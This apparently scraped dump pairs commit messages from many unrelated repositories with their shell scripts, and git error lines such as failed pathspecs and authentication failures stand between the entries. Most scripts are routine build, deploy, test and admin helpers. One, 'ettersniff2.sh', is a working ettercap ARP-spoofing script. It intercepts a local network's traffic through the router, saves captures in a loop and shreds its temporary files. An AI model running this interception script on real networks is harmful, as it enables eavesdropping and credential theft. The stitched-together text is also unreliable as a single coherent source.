# Copyright (c) 2009-2014 Robert Nelson <robertcnelson@gmail.com>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

#yeah, i'm getting lazy..

DIR=$PWD

repo="git@github.com:RobertCNelson/linux-1"

if [ -e ${DIR}/version.sh ]; then
	unset BRANCH
	. ${DIR}/version.sh

	cd ${DIR}/KERNEL/

	cp ${DIR}/patches/defconfig ${DIR}/KERNEL/arch/arm/configs/bb.org_defconfig
	git add arch/arm/configs/bb.org_defconfig

	git commit -a -m "${KERNEL_TAG}-${BUILD} bb.org_defconfig" -s
	git tag -a "${KERNEL_TAG}-${BUILD}" -m "${KERNEL_TAG}-${BUILD}"

	#push tag
	git push -f ${repo} "${KERNEL_TAG}-${BUILD}"

	git branch -D ${KERNEL_REL} || true
	git branch -m v${KERNEL_TAG}-${BUILD} ${KERNEL_REL}

	#push branch
	git push -f ${repo} ${KERNEL_REL}

	cd ${DIR}/
fi

error: pathspec 'repo_maintenance/push-bb.org.sh' did not match any file(s) known to git


add db migration script

add db migration script

#!/bin/bash
set -e

echo "Executing bundle exec 'rake db:migrate' ..."
RAILS_ENV=production bundle exec rake db:migrate

error: pathspec 'migrate-database.sh' did not match any file(s) known to git


disable ipv6

disable ipv6

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/TOTVS/mdmpublic.git/'


Create generate_state_keys.sh

Create generate_state_keys.sh

Saves us some typing

#!/bin/bash
# 098765432109876543210987654321098765432109876543210987654321098765432109876543
# generate_state_keys.sh -- Generate the seven state keys required by the
#   Seattle Clearinghouse backend. For details please see
#   https://seattle.poly.edu/wiki/SeattleBackend and
#   https://seattle.poly.edu/wiki/ClearinghouseInstallation
#
# Usage:
#   ./generate_state_keys.sh [ TARGET_DIR ]
#
# If the optional TARGET_DIR is omitted, the key files will end up in the current
# working directory. Typically TARGET_DIR is chosen to be the Clearinhouse's
# state transition keys dir, /path/to/clearinghouse/node_state_transitions/statekeys
#
# Note: This script assumes that it is copied into a directory containing
#  (1) A RepyV2 runtime environment
#  (2) The generatekeys.py script from Seattle's softwareupdater, see
#      https://github.com/SeattleTestbed/softwareupdater/

echo Generating state keys into directory "$1"

for STATE_NAME in acceptdonation movingto_canonical canonical movingto_onepercentmanyevents onepercentmanyevents movingto_twopercent twopercent ;
  do python generatekeys.py $1/$STATE_NAME 4096 ;
done

echo Done generating state keys!

error: pathspec 'node_state_transitions/generate_state_keys.sh' did not match any file(s) known to git


cleaning up the rules...

cleaning up the rules...

#!/bin/bash

grep -qF '# - emerging-chat.rules' /opt/suricata/etc/suricata/suricata.yaml
if [ $? != 0 ] ; then
   clear
   echo "Commenting out AIM_SERVERS rule..."
   sed -i "/ - emerging-chat.rules/c\# - emerging-chat.rules" /opt/suricata/etc/suricata/suricata.yaml
   zenity --info --text="Ok.  AIM_SERVERS rule has been corrected!" &> /dev/null
   fi

grep -qF '# - tls-events.rules' /opt/suricata/etc/suricata/suricata.yaml
if [ $? != 0 ] ; then
   clear
   echo "Commenting out TLS_EVENTS rule..."
   sed -i "/ - tls-events.rules/c\# - tls-events.rules" /opt/suricata/etc/suricata/suricata.yaml
   zenity --info --text="Ok.  TLS_EVENTS rule has been corrected!" &> /dev/null
   fi
   exit

error: pathspec 'rulecleanup.sh' did not match any file(s) known to git


add travis ci generate documentation script

#!/bin/sh
################################################################################
# Title         : generateDocumentation.sh
# Date created  : 2017
# Notes         : original script from Jeroen de Bruijn
__AUTHOR__="Francesco Romano"
# Preconditions:
# - Packages doxygen doxygen-doc doxygen-gui graphviz
#   must be installed.
# - Doxygen configuration file must have the destination directory empty and
#   source code directory with a $(TRAVIS_BUILD_DIR) prefix.
# - An gh-pages branch should already exist. See below for mor info on hoe to
#   create a gh-pages branch.
#
# Required global variables:
# - TRAVIS_BUILD_NUMBER : The number of the current build.
# - TRAVIS_COMMIT       : The commit that the current build is testing.
# - DOXYFILE            : The Doxygen configuration file.
# - GH_REPO_NAME        : The name of the repository.
# - GH_REPO_REF         : The GitHub reference to the repository.
# - GH_REPO_TOKEN       : Secure token to the github repository.
#
# For information on how to encrypt variables for Travis CI please go to
# https://docs.travis-ci.com/user/environment-variables/#Encrypted-Variables
# or https://gist.github.com/vidavidorra/7ed6166a46c537d3cbd2
# For information on how to create a clean gh-pages branch from the master
# branch, please go to https://gist.github.com/vidavidorra/846a2fc7dd51f4fe56a0
#
# This script will generate Doxygen documentation and push the documentation to
# the gh-pages branch of a repository specified by GH_REPO_REF.
# Before this script is used there should already be a gh-pages branch in the
# repository.
#
################################################################################

################################################################################
##### Setup this script and get the current gh-pages branch.               #####
echo 'Setting up the script...'
# Exit with nonzero exit code if anything fails
set -e

GH_REPO_ORG=`echo $TRAVIS_REPO_SLUG | cut -d "/" -f 1`
GH_REPO_NAME=`echo $TRAVIS_REPO_SLUG | cut -d "/" -f 2`
GH_REPO_REF="github.com/$GH_REPO_ORG/$GH_REPO_NAME.git"
DOXYFILE=$TRAVIS_BUILD_DIR/doc/Doxyfile

# Get the current gh-pages branch
git clone -b gh-pages git@github.com:$GH_REPO_ORG/$GH_REPO_NAME.git code_docs
cd code_docs

# Copy DoxygenLayout.xml here
cp $TRAVIS_BUILD_DIR/doc/DoxygenLayout.xml .

##### Configure git.
# Set the push default to simple i.e. push only the current branch.
git config --global push.default simple
# Pretend to be an user called Travis CI.
git config user.name "Travis CI"
git config user.email "travis@travis-ci.org"

# go back to first commit
git reset --hard `git rev-list --max-parents=0 --abbrev-commit HEAD`

# Need to create a .nojekyll file to allow filenames starting with an underscore
# to be seen on the gh-pages site. Therefore creating an empty .nojekyll file.
# Presumably this is only needed when the SHORT_NAMES option in Doxygen is set
# to NO, which it is by default. So creating the file just in case.
echo "" > .nojekyll

################################################################################
##### Generate the Doxygen code documentation and log the output.          #####
echo 'Generating Doxygen code documentation...'
# Redirect both stderr and stdout to the log file AND the console.
doxygen $DOXYFILE 2>&1 | tee doxygen.log

################################################################################
##### Upload the documentation to the gh-pages branch of the repository.   #####
# Only upload if Doxygen successfully created the documentation.
# Check this by verifying that the html directory and the file html/index.html
# both exist. This is a good indication that Doxygen did it's work.
if [ -d "html" ] && [ -f "html/index.html" ]; then
    echo 'Uploading documentation to the gh-pages branch...'
    # Add everything in this directory (the Doxygen code documentation) to the
    # gh-pages branch.
    # GitHub is smart enough to know which files have changed and which files have
    # stayed the same and will only update the changed files.
    git add --all

    # Commit the added files with a title and description containing the Travis CI
    # build number and the GitHub commit reference that issued this build.
    git commit -m "Deploy code docs to GitHub Pages Travis build: ${TRAVIS_BUILD_NUMBER}" -m "Commit: ${TRAVIS_COMMIT}"

    # Force push to the remote gh-pages branch.
    # The ouput is redirected to /dev/null to hide any sensitive credential data
    # that might otherwise be exposed.
    git push --force "git@github.com:$GH_REPO_ORG/$GH_REPO_NAME.git" > /dev/null 2>&1
else
    echo '' >&2
    echo 'Warning: No documentation (html) files have been found!' >&2
    echo 'Warning: Not going to push the documentation to GitHub!' >&2
    exit 1
fi

error: pathspec 'ci/generateDocumentation.sh' did not match any file(s) known to git


Update firefox download link

Update firefox download link

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/jfriesse/hsu.git/'


Use netcat to wait server start.

Use netcat to wait server start.

#!/bin/bash

# Use [ -n "$TRAVIS" ] to test for running on Travis-CI.

# Run in the scripts directory.
cd "$( dirname "${BASH_SOURCE[0]}" )"

LOCAL_PORT="1090"
SERVER_PORT="8389"
OPTION="-p $SERVER_PORT -k foobar"
SOCKS="127.0.0.1:$LOCAL_PORT"
HTTP_PORT="8123"

wait_server() {
    local port
    port=$1
    for i in {1..20}; do
        # sleep first because this maybe called immediately after server start
        sleep 0.1
        nc -z -w 4 127.0.0.1 $port && break
    done
}

start_http_server() {
    go build http.go
    ./http $HTTP_PORT &
    wait_server $HTTP_PORT
    http_pid=$!
}

stop_http_server() {
    kill -SIGTERM $http_pid
}

test_get() {
    local url
    local target
    local code
    url=$1
    target=$2
    code=$3

    if [[ -z $code ]]; then
        code="200"
    fi

    # -s silent to disable progress meter, but enable --show-error
    # -i to include http header
    # -L to follow redirect so we should always get HTTP 200
    cont=`curl --socks5 $SOCKS -s --show-error -i -L $url 2>&1`
    ok=`echo $cont | grep -E -o "HTTP/1\.1 +$code"`
    html=`echo $cont | grep -E -o -i "$target"`
    if [[ -z $ok || -z $html ]] ; then
        echo "=============================="
        echo "GET $url FAILED!!!"
        echo "$ok"
        echo "$html"
        echo $cont
        echo "=============================="
        return 1
    fi
    return 0
}

test_shadowsocks() {
    local url
    local method
    local server_pid
    local local_pid
    url=$1
    method=$2

    $SERVER $OPTION -m "$method" &
    server_pid=$!
    wait_server $SERVER_PORT

    $LOCAL $OPTION -s 127.0.0.1 -l $LOCAL_PORT -m "$method" &
    local_pid=$!
    wait_server $LOCAL_PORT

    for i in {1..3}; do
        if ! test_get $url "shadowsocks-go"; then
            kill -SIGTERM $server_pid
            kill -SIGTERM $local_pid
            stop_http_server
            exit 1
        fi
    done
    echo "=============================="
    echo "GET $url $method passed"
    echo "=============================="
    kill -SIGTERM $server_pid
    kill -SIGTERM $local_pid
    sleep 0.1
}

test_server_local_pair() {
    echo "============================================================"
    echo "server: $SERVER, local: $LOCAL"
    echo "============================================================"

    local url
    url=http://127.0.0.1:$HTTP_PORT/README.md
    test_shadowsocks $url table
    test_shadowsocks $url rc4
    test_shadowsocks $url rc4-md5
    test_shadowsocks $url aes-128-cfb
    test_shadowsocks $url aes-192-cfb
    test_shadowsocks $url aes-256-cfb
    test_shadowsocks $url bf-cfb
    test_shadowsocks $url des-cfb
    test_shadowsocks $url cast5-cfb
}

start_http_server

SERVER="shadowsocks-server"
LOCAL="shadowsocks-local"
test_server_local_pair

if [[ -n $SS_PYTHON ]]; then
    SERVER="$SS_PYTHON/server.py"
    LOCAL="shadowsocks-local"
    test_server_local_pair

    SERVER="shadowsocks-server"
    LOCAL="$SS_PYTHON/local.py"
    test_server_local_pair
fi

stop_http_server

#!/bin/bash

# Run in the scripts directory.
cd "$( dirname "${BASH_SOURCE[0]}" )"

OPTION="-p 8389 -k foobar"
LOCAL_PORT="1090"
SOCKS="127.0.0.1:$LOCAL_PORT"
HTTP_PORT="8123"

start_http_server() {
    go build http.go
    ./http $HTTP_PORT &
    http_pid=$!
}

stop_http_server() {
    kill -SIGTERM $http_pid
}

test_get() {
    local url
    url=$1
    target=$2
    code=$3

    if [[ -z $code ]]; then
        code="200"
    fi

    # -s silent to disable progress meter, but enable --show-error
    # -i to include http header
    # -L to follow redirect so we should always get HTTP 200
    cont=`curl --socks5 $SOCKS -s --show-error -i -L $url 2>&1`
    ok=`echo $cont | grep -E -o "HTTP/1\.1 +$code"`
    html=`echo $cont | grep -E -o -i "$target"`
    if [[ -z $ok || -z $html ]] ; then
        echo "=============================="
        echo "GET $url FAILED!!!"
        echo "$ok"
        echo "$html"
        echo $cont
        echo "=============================="
        return 1
    fi
    return 0
}

test_shadowsocks() {
    local url
    local method
    local server_pid
    local local_pid
    url=$1
    method=$2

    $SERVER $OPTION -m "$method" &
    server_pid=$!
    $LOCAL $OPTION -s 127.0.0.1 -l $LOCAL_PORT -m "$method" &
    local_pid=$!

    # Wait server and client finish startup.
    sleeptime=0.1
    if [ -n "$TRAVIS" ]; then
        # On Travis we need to wait a little longer.
        sleeptime=1
    elif echo $SERVER $LOCAL | grep 'py'; then
        # The python version is slow to start.
        if [[ $method == "table" ]]; then
            sleeptime=2
        else
            sleeptime=0.5
        fi
    fi
    echo $sleeptime
    sleep $sleeptime

    for i in {1..3}; do
        if ! test_get $url "shadowsocks-go"; then
            kill -SIGTERM $server_pid
            kill -SIGTERM $local_pid
            stop_http_server
            exit 1
        fi
    done
    echo "=============================="
    echo "GET $url $method passed"
    echo "=============================="
    kill -SIGTERM $server_pid
    kill -SIGTERM $local_pid
    sleep 0.1
}

test_server_local_pair() {
    echo "============================================================"
    echo "server: $SERVER, local: $LOCAL"
    echo "============================================================"

    local url
    url=http://127.0.0.1:$HTTP_PORT/README.md
    test_shadowsocks $url table
    test_shadowsocks $url rc4
    test_shadowsocks $url rc4-md5
    test_shadowsocks $url aes-128-cfb
    test_shadowsocks $url aes-192-cfb
    test_shadowsocks $url aes-256-cfb
    test_shadowsocks $url bf-cfb
    test_shadowsocks $url des-cfb
    test_shadowsocks $url cast5-cfb
}

start_http_server

SERVER="shadowsocks-server"
LOCAL="shadowsocks-local"
test_server_local_pair

if [[ -n $SS_PYTHON ]]; then
    SERVER="$SS_PYTHON/server.py"
    LOCAL="shadowsocks-local"
    test_server_local_pair

    SERVER="shadowsocks-server"
    LOCAL="$SS_PYTHON/local.py"
    test_server_local_pair
fi

stop_http_server


Update apt.sh

Update apt.sh

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/dawikur/mnl.git/'


add fuzzy finder to zsh

add fuzzy finder to zsh

# Setup fzf
# ---------
if [[ ! "$PATH" == */home/sarumont/.fzf/bin* ]]; then
  export PATH="${PATH:+${PATH}:}/home/sarumont/.fzf/bin"
fi

# Auto-completion
# ---------------
[[ $- == *i* ]] && source "/home/sarumont/.fzf/shell/completion.zsh" 2> /dev/null

# Key bindings
# ------------
source "/home/sarumont/.fzf/shell/key-bindings.zsh"

error: pathspec '.fzf.zsh' did not match any file(s) known to git


Update initial run script.

Update initial run script.

Signed-off-by: Morgan Kristiansen <0c76de5a55e6cf25c6f1ddf31d55660ef5fa87dc@gmail.com>

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/morganhjk/docker-wplamp.git/'


New ettercap script to intercept traffic, basing code from the first version, but now with major improvements.

#!/bin/bash

## Global Variables ##
interface=""
tmp_file="";
store_folder=$HOME;  # store packet on home folder
interval=900;
maximum=10

function error {
    echo -e "\033[091mERROR\033[0m: $1";
    return 0;
}

function log {
    echo -e "\033[092mINFO\033[0m: $1";
    return 0;
}

function ip_forward
{
    echo $1 > /proc/sys/net/ipv4/ip_forward;
    if [[ $? == 0 ]]; then
        log "IP forward was set to $1.";
    else
        error "IP forward has not been changed.";
        exit 1;
    fi

    return 0;
}

function check_root {
    uid=$(id -u);
    if [[ $uid != 0 ]]; then
        error "Only root can change kernel settings and capture traffic.";
        exit 1;
    fi
    return 0;
}

function generate_tmp_file {
    log "Grabbing router MAC address to generate host file ..."
    if [[ $1 == "" ]]; then
        error "No router IP argument";
        ip_forward 0;
        exit 1;
    fi

    router_ip=$1;
    router_mac=$(arp -a | grep $router_ip | awk {'print $4'});
    if [[ $router_mac == "" ]]; then
        error "No router MAC.";
        ip_forward 0;
        exit 1;
    fi
    log "Router MAC is $router_mac";

    tmp_file=$(mktemp);
    log "Temporary file generated at $tmp_file"
    echo "$router_ip $router_mac -" > $tmp_file;

    log "Host file generated.";
    return 0;
}

function delete_traces {
    if [[ $tmp_file == "" ]]; then
        shred -uz $tmp_file;
        if [[ $? == 0 ]]; then
            log "Temporary file deleted.";
        else
            error "Temporary file could not be deleted.";
        fi
    fi
}

function intercept {
    log "Commencing interception ...";
    i=0;
    while [[ $i < $maximum ]]; do
        time_stamp=$(date | sed 's/ /_/g' | sed 's/:/-/g' | sed 's/BRT//g' | sed 's/__/_/g');
        ettercap -Tqi $interface -M arp:remote /$router_ip// /// -s 's(300)qq' -P autoadd -j $tmp_file -w $store_folder/sniffing_$time_stamp.cap;
    if [[ $? == 0 ]]; then
        log "Interception has finished successfully.";
    else
        error "Interception has run through errors.";
    fi

    sleep $interval;

    done
    return 0;
}

# Check args
if [[ $# < 4 ]]; then
    error "Uso: $0 -i INTERFACE -r ROUTER_IP";
    exit 1;
fi

while getopts "i:r:" opt; do
    case $opt in
        i)interface=$OPTARG; log "Interface set to: $OPTARG";;
        r)router_ip=$OPTARG; log "Router IP set to: $OPTARG";;
        ?)error "Invalid argument"; exit 0;;
    esac
done

check_root;
ip_forward 1
generate_tmp_file $router_ip;

intercept;

ip_forward 0
delete_traces;

error: pathspec 'ettersniff2.sh' did not match any file(s) known to git


Create build.sh

Create build.sh

#!/usr/bin/env bash
mkdir -p out

javac -d out \
    -cp ./src:$LOG4J2_HOME/log4j-core-2.10.0.jar:$LOG4J2_HOME/log4j-api-2.10.0.jar \
    src/HelloLog4J2ConfigProperties.java

cp ./src/log4j2.properties ./out

error: pathspec 'src/log4j2/hellolog4j2configproperties/build.sh' did not match any file(s) known to git


xbps-src/shutils/cross.sh: ensure lib -> usr/lib in sysroot.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Bubble-be/void-packages.git/'


cleaned setup.sh moving addUSers to 1.3

cleaned setup.sh moving addUSers to 1.3

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/vistadataproject/nodeVISTA.git/'


Forgot to add compile.sh when deleting compile.txt

swig -ruby delay.i
gcc -shared -o Delay.so delay.c delay_wrap.c -I/opt/rh/ruby193/root/usr/include/ -I/opt/rh/ruby193/root/usr/include/x86_64-linux -fPIC

error: pathspec 'src/compile.sh' did not match any file(s) known to git


Added snapshot.sh, a simple directory snapshot tool using git.

#! /bin/bash

# Simple directory snapshot tool using git.

git="$(which git)"
[ -z "$git" ] && echo "Please install git first!"

gitdir="$(git rev-parse --git-dir 2> /dev/null)"
[ -z "$gitdir" -a "$1" != "--init" ] && echo "Not in a snapshot repository! Create a new one with '$0 --init'."

snapshotdir="$(dirname "$gitdir")"

# exit on error
set -e

function git() {
  [ -z "$git" -o -z "$gitdir" ] && exit 1

  echo "> git $@"
  $git "$@"
}

function commit() {
  git add --verbose "$snapshotdir"
  git commit --all --message "${1:-snapshot commit}"
}

case "$1" in
  --init )
    [ -z "$git" ] && exit 1

    [ -n "$2" ] && mkdir -p "$2" && cd "$2"
    $git init
    ;;
  -t|--tag )
    if [ -n "$2" ]; then
      commit "$3"
      git tag -a "$2"
    else
      git tag -l -n1
    fi
    ;;
  -l|--list )
    git whatchanged --reverse --pretty=format:"%Cred%h %Cgreen%ai %Cblue%an %Creset- %s" --name-status
    ;;
  -d|--diff )
    git diff "${2:-HEAD}" "${3:-.}"
    ;;
  -s|--status )
    git status --all
    ;;
  -v|--view )
    git show "${2:-HEAD}":"$3"
    ;;
  -w|--switch )
    git checkout "${2:-master}"
    ;;
  -h|--help )
    echo "Usage: $0 [options]"
    echo
    echo "        --init [path]                               Create a new snapshot repository"
    echo
    echo "    -c, --commit [<commit-msg>]                     Commit all changes"
    echo "    -t, --tag                                       Display all existing tags"
    echo "    -t, --tag <tag-name> [<commit-msg>]             Commit all changes and create a new tag"
    echo "    -l, --list                                      Display the history of all changes"
    echo "    -d, --diff                                      Show the current changes"
    echo "    -d, --diff <commit-hash> [path]                 Show the changes for given commit"
    echo "    -s, --status                                    Display the current status"
    echo "    -v, --view {<commit-hash>|<tag-name>} <path>    View a previous version of the file"
    echo "    -w, --switch {<commit-hash>|<tag-name>}         Switch to the specified version"
    echo "    -w, --switch                                    Switch back to the current version"
    echo "    -h, --help                                      Print this help and exit"
    echo
    echo "With no options, or only a commit message given, acts like --commit."
    ;;
  * )
    commit "$1"
    ;;
esac

error: pathspec 'snapshot.sh' did not match any file(s) known to git


Add draft for test version of updater shell script for ubuntu

#!/bin/bash -x

vers="$1"
if [ -z "$vers" ] ; then
  exit 1
fi

echo "Run sovrin upgrade to version $vers"
apt-get update -y && apt-get install sovrin-node="$vers"
ret=$?
if [ $ret -ne 0 ] ; then
  echo "Upgrade to version $vers failed"
  exit 1
fi

echo "Restarting node and agent"
systemctl restart sovrin-node

error: pathspec 'scripts/upgrade_sovrin_node_ubuntu1604_test.sh' did not match any file(s) known to git


upping node version to 8.8.1

upping node version to 8.8.1

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/electric-eloquence/fepper-windows.git/'


adding a helper script to check what services are actually running

#!/bin/bash
SERVICES=()
SERVICES+=("glance-api")
SERVICES+=("glance-registry")

SERVICES+=("cinder-api")
SERVICES+=("cinder-scheduler")

SERVICES+=("nova-api")
SERVICES+=("nova-cert")
SERVICES+=("nova-conductor")
SERVICES+=("nova-consoleauth")
SERVICES+=("nova-novncproxy")
SERVICES+=("nova-scheduler")
SERVICES+=("nova-spicehtml5proxy")
SERVICES+=("nova-xenvncproxy")

SERVICES+=("keystone")

SERVICES+=("neutron-server")

for VAR_NAME in "${SERVICES[@]}"
do
    :
        sudo service $VAR_NAME status
done

error: pathspec 'helpers/check_services.sh' did not match any file(s) known to git


added the launch.sh for assignment 5 redo, s3 bucket are to be added through launch process

# AWS ASSIGNMENT 5 RESUBMISSION LAUNCH SHELL
# testing arguements sequence with examples:
# image-id:
# count: 			1
# instance-type:
# security-group-ids:
# subnet-id:
# key-name:

aws ec2 run-instances --image-id $1 --count $2 --instance-type $3 --security-group-ids $4 --subnet-id $5 --key-name $6  --associate-public-ip-address --debug

error: pathspec 'aws_Assignment_5_launch.sh' did not match any file(s) known to git


Create runme.sh

Create runme.sh

chown -R mysql.mysql /opt/redmine/mysql/data

cd /opt/redmine
./ctlscript.sh start

tail -f /dev/null

error: pathspec 'files/runme.sh' did not match any file(s) known to git


unstack: ELF support

unstack: ELF support

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/veritas-shine/minix3-rpi.git/'